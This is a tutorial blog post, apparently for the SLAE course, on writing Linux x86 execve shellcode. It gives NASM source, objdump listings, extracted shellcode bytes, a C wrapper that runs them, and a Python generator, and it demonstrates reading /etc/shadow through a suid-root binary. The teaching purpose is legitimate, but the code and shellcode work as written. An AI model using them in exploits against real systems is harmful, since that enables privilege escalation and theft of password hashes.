Execve Shellcode – Includes Arguments and Generator!

This week's SLAE post will cover execve shellcode, including a shellcode generator for it!

Execve Shellcode - Introduction

Linux uses the execve system call to execute a program on the local system. It is most commonly used to execute a shell (such as: /bin/sh) for privilege escalation purposes.

In this post, I'll cover a few ways to call this syscall, as well as a shellcode generator for different binaries and arguments.

This will be a longer post, but hopefully the methods are well worth it. That said, you can always jump to the generator at the bottom if that's all you want.

The Code

With that in mind, let's jump into the first example.

This uses the JMP-CALL-POP technique and a variable containing the string "/bin/bashABBBBCCCC" to execute the bash shell. While the code is well commented, I'll cover a bit of it
below.

; Filename: execve.nasm
; Author: Ray Doyle
;
; Purpose: Execute /bin/bash

global _start            

section .text

_start:
    jmp short call_shellcode

shellcode:
    ; JMP - CALL - POP  =  ESI now contains message
    pop esi    

    ; Zero out the EBX register (will be used for filename)
    xor ebx, ebx
    
    ; Move BL (0x0) into [ESI+9] (the "A" in message) to null terminate /bin/bash
    mov byte [esi+9], bl

    ; Move ESI (the location of /bin/bash) into [ESI+10] (the "BBBB" in message)
    mov dword [esi+10], esi

    ; Move EBX (0x00000000) into [ESI+10] (the "CCCC" in message)
    mov dword [esi+14], ebx

    ; Load the null-terminated "/bin/bash" string into EBX for execve's filename
    lea ebx, [esi]

    ; Load the address of /bin/bash into ECX for execve's argv
    lea ecx, [esi+10]

    ; Load the address of the null bytes into EDX for execve's envp
    lea edx, [esi+14]

    ; Zero out the EAX register
    xor eax, eax
    
    ; Load 11 (sys_execve) into EAX
    mov al, 0xb

    ; Call interrupt 0x80 to execute the syscall
    int 0x80

call_shellcode:
    call shellcode

    ; The CALL places this at the top of the stack
    message db "/bin/bashABBBBCCCC"

The reasoning for the characters at the end of /bin/bash are twofold. First, it prevents my final shellcode from having null characters when I need to terminate the string. Second, it allows me some markers for future parameters.

As you can see, argv needs the address of /bin/bash, whereas filename (EBX) needs the actual string itself.

Checking, Obtaining, and Executing the Shellcode

With the assembly file created and compiled/linked, it was time to check the opcodes. First, I made sure that there were no null bytes in the binary.

doyler@slae:~/slae/module2/module2-5$ objdump -d execve -M intel

execve:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060:    eb 1a                    jmp    804807c 

08048062 <shellcode>:
8048062:    5e                       pop    esi
8048063:    31 db                    xor    ebx,ebx
8048065:    88 5e 09                 mov    BYTE PTR [esi+0x9],bl
8048068:    89 76 0a                 mov    DWORD PTR [esi+0xa],esi
804806b:    89 5e 0e                 mov    DWORD PTR [esi+0xe],ebx
804806e:    8d 1e                    lea    ebx,[esi]
8048070:    8d 4e 0a                 lea    ecx,[esi+0xa]
8048073:    8d 56 0e                 lea    edx,[esi+0xe]
8048076:    31 c0                    xor    eax,eax
8048078:    b0 0b                    mov    al,0xb
804807a:    cd 80                    int    0x80

0804807c <call_shellcode>:
804807c:    e8 e1 ff ff ff           call   8048062 

08048081 <message>:
8048081:    2f                       das    
8048082:    62 69 6e                 bound  ebp,QWORD PTR [ecx+0x6e]
8048085:    2f                       das    
8048086:    62 61 73                 bound  esp,QWORD PTR [ecx+0x73]
8048089:    68 41 42 42 42           push   0x42424241
804808e:    42                       inc    edx
804808f:    43                       inc    ebx
8048090:    43                       inc    ebx
8048091:    43                       inc    ebx
8048092:    43                       inc    ebx

Next, I obtained the actual shellcode.

doyler@slae:~/slae/module2/module2-5$ objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x09\x89\x76\x0a\x89\x5e\x0e\x8d\x1e\x8d\x4e\x0a\x8d\x56\x0e\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"

Finally, I loaded the shellcode into my C wrapper and verified execution. As you can see, this shellcode of length 51 properly executes /bin/bash, and we're dropped into another shell.

doyler@slae:~/slae/module2/module2-5$ ps
  PID TTY          TIME CMD
 9827 pts/4    00:00:00 bash
 9953 pts/4    00:00:00 ps
doyler@slae:~/slae/module2/module2-5$ ./shellcode 
Shellcode Length:  51
doyler@slae:~/slae/module2/module2-5$ ps
  PID TTY          TIME CMD
 9827 pts/4    00:00:00 bash
 9954 pts/4    00:00:00 bash
10010 pts/4    00:00:00 ps
doyler@slae:~/slae/module2/module2-5$ exit
exit

Note that this assembly code will not work outside of the wrapper.

Execve Shellcode - Using the Stack

Similar to my "Hello World" shellcode, it is also possible to use the stack for the execve call.

Just for reference sake, here is what the registers should look like before the system calls the interrupt.

  • EAX - syscall (11)
  • EBX - /bin/bash, 0x0
  • ECX - argv (Address of /bin/bash, 0x00000000)
  • EDX - envp (0x00000000)

Also important to note, the number of slashes in a Linux command do not matter. For example, the following executes /bin/bash without issue, even with the leading slashes.

doyler@slae:~/slae/module2/module2-5$ ////bin/bash
doyler@slae:~/slae/module2/module2-5$ ps
  PID TTY          TIME CMD
13436 pts/1    00:00:00 bash
27730 pts/1    00:00:00 bash
27784 pts/1    00:00:00 ps
doyler@slae:~/slae/module2/module2-5$ exit
exit

Reversing the String

Similar to the hello world, you will need to reverse the string(s) placed on the stack.

First, I used Python to reverse and encode the '/bin/bash' string.

doyler@slae:~/slae/module2/module2-5$ python
Python 2.7.3 (default, Oct 26 2016, 21:04:23)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> string = "///bin/bash"
>>> string[::-1]
'hsab/nib///'
>>> string[::-1].encode('hex')
'687361622f6e69622f2f2f'

Unfortunately, this method is not convenient for longer strings. In this case, I've used the reverse.py utility, and included it in my GitHub repository.

This allows for the easy reversing and encoding of strings, as well as breaking them into 4 byte chunks for PUSH or MOV instructions.

doyler@slae:~/slae/module2/module2-5$ python reverse.py ////bin/bash
String length : 12
hsab : 68736162
/nib : 2f6e6962
//// : 2f2f2f2f

Execve Shellcode - The Stack Code

This is almost the same as my earlier version, only with the JMP-CALL-POP replaced with three PUSH calls for the /bin/bash string.

; Filename: execve-stack.nasm
; Author: Ray Doyle
;
; Purpose: Execute /bin/bash via the stack

global _start

section .text

_start:
    ; Zero out the EAX register
    xor eax, eax
    
    ; Push 0x00000000 onto the stack
    push eax

    ; Push "////bin/bash" onto the stack (reverse order for endianness)
    push 0x68736162
    push 0x2f6e6962
    push 0x2f2f2f2f

    ; Load the "////bin/bash" null-terminated string into EBX
    mov ebx, esp

    ; Push 0x00000000 onto the stack (again)
    push eax

    ; Load 0x00000000 into EDX (envp for sys_execve)
    mov edx, esp

    ; Push EBX (the location of "////bin/bash") onto the stack
    push ebx

    ; Load the (address of ////bin/bash, 0x00000000) into ECX (argv for sys_execve)
    mov ecx, esp

    ; Load 11 into EAX (sys_execve syscall #)
    mov al, 0xb

    ; Execute the sys_execve syscall
    int 0x80

Checking, Obtaining, and Executing the Stack Shellcode

With my assembly complete, it was time to test the shellcode.

First, I compiled and linked my assembly.

doyler@slae:~/slae/module2/module2-6$ sh ../../compile.sh execve-stack
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!

Next, I verified that there were no null bytes in my shellcode.

doyler@slae:~/slae/module2/module2-6$ objdump -d execve-stack -M intel

execve-stack:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060:    31 c0                    xor    eax,eax
8048062:    50                       push   eax
8048063:    68 62 61 73 68           push   0x68736162
8048068:    68 62 69 6e 2f           push   0x2f6e6962
804806d:    68 2f 2f 2f 2f           push   0x2f2f2f2f
8048072:    89 e3                    mov    ebx,esp
8048074:    50                       push   eax
8048075:    89 e2                    mov    edx,esp
8048077:    53                       push   ebx
8048078:    89 e1                    mov    ecx,esp
804807a:    b0 0b                    mov    al,0xb
804807c:    cd 80                    int    0x80

Finally, I obtained the shellcode that I'd be using.

doyler@slae:~/slae/module2/module2-6$ objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

With the shellcode in hand, I added it to my C wrapper program. As you can see, it executed just fine, and was shorter than the non-stack version by over 40%!

doyler@slae:~/slae/module2/module2-6$ vi shellcode.c
doyler@slae:~/slae/module2/module2-6$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c doyler@slae:~/slae/module2/module2-6$ ps
  PID TTY          TIME CMD
2092 pts/0    00:00:00 bash
27892 pts/0    00:00:00 ps
doyler@slae:~/slae/module2/module2-6$ ./shellcode
Shellcode Length:  30
doyler@slae:~/slae/module2/module2-6$ ps
  PID TTY          TIME CMD
2092 pts/0    00:00:00 bash
27893 pts/0    00:00:00 bash
27947 pts/0    00:00:00 ps
doyler@slae:~/slae/module2/module2-6$ exit
exit

Execve Shellcode - Handling Arguments

Last, but not least, I wanted to actually pass arguments to the applications that I was calling.

My first attempt had a few problems, but I wanted to include it here as an example.

First, there were a few null bytes (mostly due to instructions like 'mov ecx, progLen'). Additionally, due to the direct variable references, this shellcode would have hard-coded addresses.

global _start

section .text
_start:
	xor eax, eax
	push eax

	mov edi, esp
	mov esi, prog
	mov ecx, progLen
	rep movsb	 

	mov ebx, esp

	push eax
	mov edx, esp

	push eax
	mov edi, esp
	mov esi, argv
	mov ecx, argvLen
	rep movsb
	mov esi, esp

	push eax
	push esi
	push ebx
	mov ecx, esp

	mov al,11
	int 0x80

section .data
	prog: db "/bin/ls"
	progLen equ $-prog

	argv: db "-al"
	argvLen equ $-argv

That said, it executed just fine, and was a good starting point for me to go from.

doyler@slae:~/slae/module2/module2-6$ nasm -f elf32 -o execve-argv.o execve-argv.nasm 
doyler@slae:~/slae/module2/module2-6$ ld -m elf_i386 -o execve-argv execve-argv.o
doyler@slae:~/slae/module2/module2-6$ ./execve-argv 
total 40
drwxr-xr-x  2 root root 4096 May 10 17:53 .
drwxr-xr-x 21 root root 4096 May 10 17:53 ..
-rw-r--r--  1 root root  557 May 10 17:27 _exfil.txt
-rwxr-xr-x  1 root root  784 May 10 17:53 execve-argv
-rw-r--r--  1 root root  471 May 10 17:53 execve-argv.nasm
-rw-r--r--  1 root root  704 May 10 17:53 execve-argv.o
-rw-r--r--  1 root root  247 May 10 16:56 reverse.py
-rwxr-xr-x  1 root root  580 May 10 17:10 test
-rw-r--r--  1 root root  652 May 10 17:10 test.nasm
-rw-r--r--  1 root root  464 May 10 17:10 test.o

Execve Shellcode - Arguments and JMP-CALL-POP

First, I wanted to use the JMP-CALL-POP technique to pass arguments to my execve call. I actually ended up using two JMP-CALL-POP instruction chains, which was new to me.

That said, it worked in the end, albeit through some luck and long shellcode.

Execve w/ Arguments - The Code

As you can see, my code for including arguments is found below.

I do want to note that this might fail on your system, depending on what is on your stack initially. For me, my stack contained 0x00000001, so I was luckily able to overwrite everything but the last null byte with my '/bin/ls'. That said, later versions will fix this issue.

; Filename: execve-argv.nasm
; Author: Ray Doyle
; Website: https://www.doyler.net
;
; Purpose: Execute `/bin/ls -al` via the JMP-CALL-POP technique

global _start

section .text
_start:
    jmp short call_program

program:
    ; JMP-CALL-POP to load the prog variable into ESI
    pop esi

    ; Clear EAX and push onto the stack (null terminator)
    xor eax, eax
    push eax

    ; Copy the program (in this case, /bin/ls) onto the top of the stack
    ; Note that this only works because I had enough space + null pointers already on the stack
    ; If this command was any longer, this program would have likely failed
    mov edi, esp
    mov cl, progLen
    rep movsb

    ; Move the stack pointer into EBX (null-terminated filename for execve)
    mov ebx, esp

    ; Push more null bytes and load them into EDX (envp - 0x00000000)
    push eax
    mov edx, esp

    jmp short call_args

args:
    ; JMP-CALL-POP to load the argv variable into ESI
    pop esi

    ; Copy the argments (in this case, -al) onto the top of the stack (null terminated)
    ; This works fine since '-al' is less than 4 bytes
    push eax
    mov edi, esp
    mov cl, argvLen
    rep movsb
    
    ; Move the stack pointer (pointing to the arguments structure) into ESI for later
    mov esi, esp

    ; Push the argument struct onto the stack in the proper order, and load into ECX
    push eax
    push esi
    push ebx
    mov ecx, esp

    ; Place 11 (sys_execve) into EAX and execute
    mov al,11
    int 0x80

call_program:
    call program
    prog: db "/bin/ls"
    progLen equ $-prog

call_args:
    call args
    argv: db "-al"
    argvLen equ $-argv

Compiling, Verifying, and Testing

With my JMP-CALL-POP version complete, it was time to compile it. Note that I performed these steps on a 64-bit system, hence the extra flags for nasm and ld.

doyler@slae:~/slae/module2/module2-6$ nasm -f elf32 -o execve-argv.o execve-argv.nasm 
doyler@slae:~/slae/module2/module2-6$ ld -m elf_i386 -o execve-argv execve-argv.o

Next, I verified that there were no null bytes or hard-coded addresses.

doyler@slae:~/slae/module2/module2-6$ objdump -d execve-argv -M intel

execve-argv:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 24                	jmp    8048086 <call_program>

08048062 <program>:
 8048062:	5e                   	pop    esi
 8048063:	31 c0                	xor    eax,eax
 8048065:	50                   	push   eax
 8048066:	89 e7                	mov    edi,esp
 8048068:	b1 07                	mov    cl,0x7
 804806a:	f3 a4                	rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
 804806c:	89 e3                	mov    ebx,esp
 804806e:	50                   	push   eax
 804806f:	89 e2                	mov    edx,esp
 8048071:	eb 1f                	jmp    8048092 <call_args>

08048073 <args>:
 8048073:	5e                   	pop    esi
 8048074:	50                   	push   eax
 8048075:	89 e7                	mov    edi,esp
 8048077:	b1 03                	mov    cl,0x3
 8048079:	f3 a4                	rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
 804807b:	89 e6                	mov    esi,esp
 804807d:	50                   	push   eax
 804807e:	56                   	push   esi
 804807f:	53                   	push   ebx
 8048080:	89 e1                	mov    ecx,esp
 8048082:	b0 0b                	mov    al,0xb
 8048084:	cd 80                	int    0x80

08048086 <call_program>:
 8048086:	e8 d7 ff ff ff       	call   8048062 <program>

0804808b <prog>:
 804808b:	2f                   	das    
 804808c:	62 69 6e             	bound  ebp,QWORD PTR [ecx+0x6e]
 804808f:	2f                   	das    
 8048090:	6c                   	ins    BYTE PTR es:[edi],dx
 8048091:	73 e8                	jae    804807b <args+0x8>

08048092 <call_args>:
 8048092:	e8 dc ff ff ff       	call   8048073 <args>

08048097 <argv>:
 8048097:	2d                   	.byte 0x2d
 8048098:	61                   	popa   
 8048099:	6c                   	ins    BYTE PTR es:[edi],dx

Finally, I tested out the compiled application, and it worked like a charm!

doyler@slae:~/slae/module2/module2-6$ ./execve-argv 
total 40
drwxr-xr-x  2 root root 4096 May 10 18:56 .
drwxr-xr-x 21 root root 4096 May 10 18:56 ..
-rw-r--r--  1 root root 1760 May 10 17:54 _exfil.txt
-rwxr-xr-x  1 root root  780 May 10 18:56 execve-argv
-rw-r--r--  1 root root  591 May 10 18:56 execve-argv.nasm
-rw-r--r--  1 root root  672 May 10 18:56 execve-argv.o
-rw-r--r--  1 root root  247 May 10 16:56 reverse.py
-rwxr-xr-x  1 root root  580 May 10 17:10 test
-rw-r--r--  1 root root  652 May 10 17:10 test.nasm
-rw-r--r--  1 root root  464 May 10 17:10 test.o

Converting to Shellcode

With the assembly working, it was time to convert my application to shellcode.

First, I used an even shorter one-liner to get the shellcode.

doyler@slae:~/slae/module2/module2-6$ for i in $(objdump -d execve-argv |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\xeb\x24\x5e\x31\xc0\x50\x89\xe7\xb1\x07\xf3\xa4\x89\xe3\x50\x89\xe2\xeb\x1f\x5e\x50\x89\xe7\xb1\x03\xf3\xa4\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6c\x73\xe8\xdc\xff\xff\xff\x2d\x61\x6c

Next, I added the new shellcode to my wrapper program.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x26\x5e\x31\xc0\x50\x89\xe7\xb1\x07\xf3\xa4\x89\x07\x89\xe3\x50\x89\xe2\xeb\x1f\x5e\x50\x89\xe7\xb1\x03\xf3\xa4\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6c\x73\xe8\xdc\xff\xff\xff\x2d\x61\x6c";

main()
{
	printf("Shellcode length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Finally, I compiled and tested it. As you can see, and as expected, it still worked!

doyler@slae:~/slae/module2/module2-6$ gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main()
 ^~~~
doyler@slae:~/slae/module2/module2-6$ ./shellcode 
Shellcode length: 60
total 52
drwxr-xr-x  2 root root 4096 May 12 12:36 .
drwxr-xr-x 22 root root 4096 May 12 12:35 ..
-rw-r--r--  1 root root  240 May 12 12:10 YHxS25jG
-rw-r--r--  1 root root 5499 May 10 19:09 _exfil.txt
-rwxr-xr-x  1 root root  776 May 12 12:35 execve-argv
-rw-r--r--  1 root root  605 May 12 12:29 execve-argv.nasm
-rw-r--r--  1 root root  672 May 12 12:35 execve-argv.o
-rw-r--r--  1 root root  587 May 11 16:17 out.txt
-rw-r--r--  1 root root  247 May 10 16:56 reverse.py
-rwxr-xr-x  1 root root 7408 May 12 12:36 shellcode
-rw-r--r--  1 root root  408 May 12 12:35 shellcode.c

Execve Argv - Stack Version

Finally, I wanted to use the stack for calling execve with arguments. This section will be shorter, as I've already covered using arguments and the stack in earlier sections.

The code is almost exactly the same as the execve-stack combined with the execve-argv versions, so I've just included it below.

; Filename: execve-argv-stack.nasm
; Author: Ray Doyle
; Website: https://www.doyler.net
;
; Purpose: Execute `/bin/ls -a` via the stack

global _start

section .text
_start:
    xor eax, eax
    push eax

    ; PUSH /bin//ls onto the stack
    push 0x736c2f2f
    push 0x6e69622f

    ; Load the "/bin//ls" null-terminated string into EBX
    mov ebx, esp

    ; Load 0x00000000 into EDX (envp for sys_execve)
    push eax
    mov edx, esp

    push eax
    
    ; PUSH -a onto the stack and load into ESI for later
    push 0x612d
    mov esi, esp

    ; Push the argument struct onto the stack in the proper order, and load into ECX
    push eax
    push esi
    push ebx
    mov ecx, esp

    ; Execute sys_execve
    mov al,11
    int 0x80

First, I compiled and linked the executable, so that I could test it.

doyler@slae:~/slae/module2/module2-6$ nasm -f elf32 -o execve-argv.o execve-argv.nasm 
doyler@slae:~/slae/module2/module2-6$ ld -m elf_i386 -o execve-argv execve-argv.o

As expected, it worked just fine!

doyler@slae:~/slae/module2/module2-6$ ./execve-argv 
.   execve-argv       execve-argv.o  test	test.o
..  execve-argv.nasm  reverse.py     test.nasm

For an added bonus, this is also over 40% smaller (61 bytes vs 35 bytes) than the non-stack variant!

I do want to note one quick thing with this version. The push 0x612d (-a) instruction is actually going to contain two null bytes. You would need to remove these before converting this to actual shellcode.

Execve Shellcode Generator

Last, and certainly not least, I wanted to share the generator that I wrote for execve shellcode.

The code (with plenty of comments) is in the next section, but I wanted to show the usageit first.

First, I ran my new Python script, and it generated the shellcode for me. In this case, it is generating `/bin/cat /etc/shadow`.

doyler@slae:~/slae/module2/module2-6$ python execve-shellcode-generator.py 
\xeb\x29\x5e\x31\xc0\x50\x89\xe7\xb1\x08\xf3\xa4\x89\x07\x89\xe3\x50\x89\xe2\xeb\x23\x5e\x50\x50\x50\x50\x89\xe7\xb1\x0b\xf3\xa4\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x63\x61\x74\xe8\xd8\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77

Next, I added the new shellcode to my wrapper program.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x29\x5e\x31\xc0\x50\x89\xe7\xb1\x08\xf3\xa4\x89\x07\x89\xe3\x50\x89\xe2\xeb\x23\x5e\x50\x50\x50\x50\x89\xe7\xb1\x0b\xf3\xa4\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x63\x61\x74\xe8\xd8\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Finally, I compiled and executed the application. As you can see, it worked, and I got the contents of the shadow file!

Note that I had make the file suid root for this to work. This is because a standard user cannot cat the shadow file on a Linux system. That said, this is a great example of how shellcode may actually be used in a real scenario. If an exploit was found in a suid root program, then this shellcode would work just fine.

doyler@slae:~/slae/module2/module2-6$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
doyler@slae:~/slae/module2/module2-6$ sudo chown root:root shellcode
[sudo] password for doyler:
doyler@slae:~/slae/module2/module2-6$ sudo chmod 4755 shellcode
doyler@slae:~/slae/module2/module2-6$ ./shellcode
Shellcode Length:  72
root:!:17618:0:99999:7:::
daemon:*:16289:0:99999:7:::
bin:*:16289:0:99999:7:::
sys:*:16289:0:99999:7:::
sync:*:16289:0:99999:7:::
games:*:16289:0:99999:7:::

Execve Shellcode - Final Execution

Execve Shellcode Generator Code

You can find this, and all the previously mentioned applications, in my GitHub repository.

This generator worked for all the binary and argument combinations that I tried. That said, please let me know if you run across any issues or bugs.

#!/usr/bin/python

# SLAE Exercise: Execve Arv Shellcode (Linux/x86) Generator
# Author: Ray Doyle (@doylersec)
# Website: https://www.doyler.net

#executable = "/bin/ls"
executable = "/bin/cat"
exeLen = len(executable)
exeShellcode = "x" + "\\x".join("{:02x}".format(ord(c)) for c in executable)

#arguments = "-al"
arguments = "/etc/shadow"
argLen = len(arguments)
argShellcode = "x" + "\\x".join("{:02x}".format(ord(c)) for c in arguments)

space = (argLen % 4) + 1

# Number of bytes after 1st jump until 0x80 (inclusive)
jmp1 = 37 + space

# Number of bytes after 2nd jump until end of exe shellcode (inclusive)
jmp2 = 23 + exeLen + space

# Number of bytes from program (pop esi start) until 1st CALL + 4 (to skip back over CALL)
call1 = 37 + 4 + space

# Number of bytes from args (after first jump) until 2nd CALL + 4 (skip back)
call2 = 23 + exeLen + 4 + space

#  8048060:    eb 26                    jmp    8048088 ]
shellcode = ("\\xeb\\" + ("x%02x" % jmp1) + "" # JMP SHORT to call_program (right after 0x80)
#
#
# 8048062:    5e                       pop    esi
# 8048063:    31 c0                    xor    eax,eax
# 8048065:    50                       push   eax
# 8048066:    89 e7                    mov    edi,esp
# 8048068:    b1 07                    mov    cl,0x7
# 804806a:    f3 a4                    rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
# 804806c:    89 07                    mov    DWORD PTR [edi],eax
# 804806e:    89 e3                    mov    ebx,esp
# 8048070:    50                       push   eax
# 8048071:    89 e2                    mov    edx,esp
#
#
"\\x5e\\x31\\xc0\\x50\\x89\\xe7\\xb1\\" + ("x%02x" % exeLen) + "\\xf3\\xa4\\x89\\x07\\x89\\xe3\\x50\\x89\\xe2"
#
#
# 8048073:    eb 1f                    jmp    8048094 
#
#
"\\xeb\\" + ("x%02x" % jmp2) + "" # JMP SHORT to call_args
#
#
# 8048075:    5e                       pop    esi
# 8048076:    50                       push   eax
# 8048077:    89 e7                    mov    edi,esp
# 8048079:    b1 03                    mov    cl,0x3
# 804807b:    f3 a4                    rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
# 804807d:    89 e6                    mov    esi,esp
# 804807f:    50                       push   eax
# 8048080:    56                       push   esi
# 8048081:    53                       push   ebx
# 8048082:    89 e1                    mov    ecx,esp
# 8048084:    b0 0b                    mov    al,0xb
# 8048086:    cd 80                    int    0x80
#
#
"\\x5e" + ("\\x50" * space) + "\\x89\\xe7\\xb1\\" + ("x%02x" % argLen) + "\\xf3\\xa4\\x89\\xe6\\x50\\x56\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
#
#
# 8048088:    e8 d5 ff ff ff           call   8048062 
#
#
"\\xe8\\" + ("x%02x" % (255 - call1)) + "\\xff\\xff\\xff" # CALL program
"\\" + exeShellcode + ""
"\\xe8\\" + ("x%02x" % (255 - call2)) + "\\xff\\xff\\xff\\" + argShellcode)

print shellcode

Execve Shellcode - Conclusion

While this was a longer post, I had a lot of fun learning how the execve system call works.

Hopefully I covered all the useful ways to call it, and that you learned something.

I've still got plenty of assembly posts in the works, but let me know if you'd like a break for a little.

In the meantime, please reach out if you have any questions, ideas, or suggestions!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.